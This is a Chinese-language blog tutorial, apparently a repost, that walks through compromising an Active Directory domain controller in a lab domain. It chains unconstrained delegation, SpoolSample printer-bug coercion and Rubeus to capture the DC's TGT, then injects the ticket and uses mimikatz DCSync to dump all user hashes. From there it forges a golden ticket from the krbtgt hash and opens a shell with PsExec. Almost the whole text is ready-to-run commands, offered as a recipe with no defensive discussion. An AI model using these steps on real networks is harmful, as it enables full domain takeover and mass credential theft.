利用非约束性委派+Spooler打印机服务 制作黄金票据攻击域控

 前言

继上一篇 ——> 域渗透—委派攻击之非约束委派攻击原理及利用。在实战中,只是单纯的非约束委派话需要管理员主动连接比较鸡肋。因此可以利用非约束委派 + Spooler打印机服务可以强制指定的主机进行连接。

利用原理:利用Windows打印系统远程协议 (MS-RPRN)中的一种旧的但是默认启用的方法,在该方法中,域用户可以使用MS-RPRN RpcRemoteFindFirstPrinterChangeNotification(Ex)方法强制任何运行了 Spooler 服务的计算机以通过Kerberos或NTLM对攻击者选择的目标进行身份验证

注:splooer服务是默认运行的

攻击过程

  • 域:test.lab
  • 域控:192.168.10.2 win2012,账号 administrator,主机名DC
  • 域内主机:192.168.10.5 win7 ,账号 yuwin7,主机名admin-PC

攻击者控制一个开启了非约束委派的主机账户,当域控开启Print Spooler服务时,攻击者可以主动要求域控访问该主机服务器,进而获取DC的TGT

  • 拿下一个具有Kerberos非约束委派的主机(主机账户)
  • 找到一台运行Print Spooler服务(默认为自启而且为System权限)的DC
  • 管理员身份使用Rubeus的监听模式

Rubeus监听

win7上以本地管理员运行Rubeus

Rubeus.exe monitor /interval:1 /filteruser:DC$
# 我们可以用Rubeus来监听Event ID为4624事件,这样可以第一时间截取到域控的TGT
# /interval:1 设置监听间隔1秒
# /filteruser 监听对象为我们的域控,注意后面有个$,如果不设置监听对象就监听所有的TGT
复制代码

利用打印服务强制让域控机向本机验证身份

执行如下

spoolsample.exe DC admin-PC
# 表示利用打印服务强制让域控机向admin-PC主机验证身份,这样我们的Rubeus就可以监听到TGS了
复制代码

此时Rubeus已经接收到了TGT

提取TGT

我们先复制Rubeus监听到的TGT的base64,这里每行都加了换行,我们用这个python脚本去掉每行的换行符

data=""
for line in open('1.txt','r'):
    data += line.strip('\n')
print(data)
with open("2.txt",'a') as f:
    f.write(data)
print('保存完毕')
复制代码

然后直接用powershell转到为正常的TGT即可

[IO.File]::WriteAllBytes("绝对路径\ticket.kirbi", [Convert]::FromBase64String("TGT"))
复制代码

注入TGT票据到当前会话并导出域控中所有用户的hash

mimikatz以域用户身份运行

kerberos::ptt ticket.kirbi
lsadump::dcsync /domain:test.lab /all /csv
复制代码

这儿请注意,我们这儿获得的TGT票据,不能算黄金票据,因为我们获得的权限只是域控的本地管理权限,所以不能连接域控,但是我们确可以因此获取所以用户的hash,所以能制作真正的黄金票据~

制作黄金票据

既然存在krbtgt用户,并且有该用户的hash或者NTML值,可以用它生成黄金票据

  1. 获取本账号的sid 

现在本机执行 whoami /user,注意不需要后面表示账号权限的几位数

  1. 制作票据
mimikatz "kerberos::golden /domain:test.lab /sid:S-1-5-21-587556175-550635965-2643831430 /krbtgt:6412c19ffa5a50cd63fe27917ef83f54 /user:administrator /ticket:ntlm.kirbi" "exit"
复制代码

  1. 注入票据

mimikatz "kerberos::purge" "kerberos::ptt ntlm.kirbi"

此时已经可以连接域控了

 我们还可以直接用psexec反弹shell,因为注入了黄金票据,所以不需要用户名和密码

PsExec64.exe \dc cmd -accepteula
复制代码

猜你喜欢

转载自juejin.im/post/7085286428300541983